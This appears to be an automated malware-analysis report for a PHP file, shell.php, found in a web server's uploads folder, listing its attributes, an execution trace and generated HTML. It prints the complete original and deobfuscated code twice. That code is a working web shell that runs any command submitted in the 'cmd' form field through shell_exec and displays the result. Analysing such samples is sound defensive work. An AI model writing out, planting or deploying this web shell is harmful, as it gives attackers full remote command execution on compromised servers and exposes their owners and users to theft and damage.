PHP Malware Analysis
shell.php
md5: 72548e75dd8716816ead3eb78921e016
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Execution
- shell_exec (Deobfuscated, Original)
Input
- _POST (Deobfuscated, Original)
Title
- Web Shell (Deobfuscated, HTML, Original)
Deobfuscated PHP code
<?php
if (!empty($_POST['cmd'])) {
$cmd = shell_exec($_POST['cmd']);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Web Shell</title>
<style>
* {
-webkit-box-sizing: border-box;
box-sizing: border-box;
}
body {
font-family: sans-serif;
color: rgba(0, 0, 0, .75);
}
main {
margin: auto;
max-width: 850px;
}
pre,
input,
button {
border-radius: 5px;
}
pre,
input,
button {
background-color: #efefef;
}
label {
display: block;
}
input {
width: 100%;
background-color: #efefef;
border: 2px solid transparent;
}
input:focus {
outline: none;
background: transparent;
border: 2px solid #e6e6e6;
}
button {
border: none;
cursor: pointer;
margin-left: 5px;
}
button:hover {
background-color: #e6e6e6;
}
pre,
input,
button {
padding: 10px;
}
.form-group {
display: -webkit-box;
display: -ms-flexbox;
display: flex;
padding: 15px 0;
}
</style>
</head>
<body>
<main>
<h1>Web Shell</h1>
<h2>Execute a command</h2>
<form method="post">
<label for="cmd"><strong>Command</strong></label>
<div class="form-group">
<input type="text" name="cmd" id="cmd" value="<?php
echo htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8');
?>"
onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required>
<button type="submit">Execute</button>
</div>
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
?>
<h2>Output</h2>
<?php
if (isset($cmd)) {
?>
<pre><?php
echo htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8');
?></pre>
<?php
} else {
?>
<pre><small>No result.</small></pre>
<?php
}
?>
<?php
}
?>
</main>
</body>
</html>
Execution traces
data/traces/72548e75dd8716816ead3eb78921e016_trace-1676252890.4868.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:48:36.384623]
1 0 1 0.000187 393512
1 3 0 0.000259 398880 {main} 1 /var/www/html/uploads/shell.php 0 0
2 4 0 0.000294 398880 htmlspecialchars 0 /var/www/html/uploads/shell.php 91 3 NULL 3 'UTF-8'
2 4 1 0.000312 399152
2 4 R ''
1 3 1 0.000327 398880
0.000352 314224
TRACE END [2023-02-12 23:48:36.384825]
Generated HTML code
<html lang="en"><head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Web Shell</title>
<style>
* {
-webkit-box-sizing: border-box;
box-sizing: border-box;
}
body {
font-family: sans-serif;
color: rgba(0, 0, 0, .75);
}
main {
margin: auto;
max-width: 850px;
}
pre,
input,
button {
border-radius: 5px;
}
pre,
input,
button {
background-color: #efefef;
}
label {
display: block;
}
input {
width: 100%;
background-color: #efefef;
border: 2px solid transparent;
}
input:focus {
outline: none;
background: transparent;
border: 2px solid #e6e6e6;
}
button {
border: none;
cursor: pointer;
margin-left: 5px;
}
button:hover {
background-color: #e6e6e6;
}
pre,
input,
button {
padding: 10px;
}
.form-group {
display: -webkit-box;
display: -ms-flexbox;
display: flex;
padding: 15px 0;
}
</style>
</head>
<body>
<main>
<h1>Web Shell</h1>
<h2>Execute a command</h2>
<form method="post">
<label for="cmd"><strong>Command</strong></label>
<div class="form-group">
<input type="text" name="cmd" id="cmd" value="" onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus="" required="">
<button type="submit">Execute</button>
</div>
</form>
</main>
</body></html>Original PHP code
<?php
if (!empty($_POST['cmd'])) {
$cmd = shell_exec($_POST['cmd']);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Web Shell</title>
<style>
* {
-webkit-box-sizing: border-box;
box-sizing: border-box;
}
body {
font-family: sans-serif;
color: rgba(0, 0, 0, .75);
}
main {
margin: auto;
max-width: 850px;
}
pre,
input,
button {
border-radius: 5px;
}
pre,
input,
button {
background-color: #efefef;
}
label {
display: block;
}
input {
width: 100%;
background-color: #efefef;
border: 2px solid transparent;
}
input:focus {
outline: none;
background: transparent;
border: 2px solid #e6e6e6;
}
button {
border: none;
cursor: pointer;
margin-left: 5px;
}
button:hover {
background-color: #e6e6e6;
}
pre,
input,
button {
padding: 10px;
}
.form-group {
display: -webkit-box;
display: -ms-flexbox;
display: flex;
padding: 15px 0;
}
</style>
</head>
<body>
<main>
<h1>Web Shell</h1>
<h2>Execute a command</h2>
<form method="post">
<label for="cmd"><strong>Command</strong></label>
<div class="form-group">
<input type="text" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>"
onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required>
<button type="submit">Execute</button>
</div>
</form>
<?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?>
<h2>Output</h2>
<?php if (isset($cmd)): ?>
<pre><?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre>
<?php else: ?>
<pre><small>No result.</small></pre>
<?php endif; ?>
<?php endif; ?>
</main>
</body>
</html>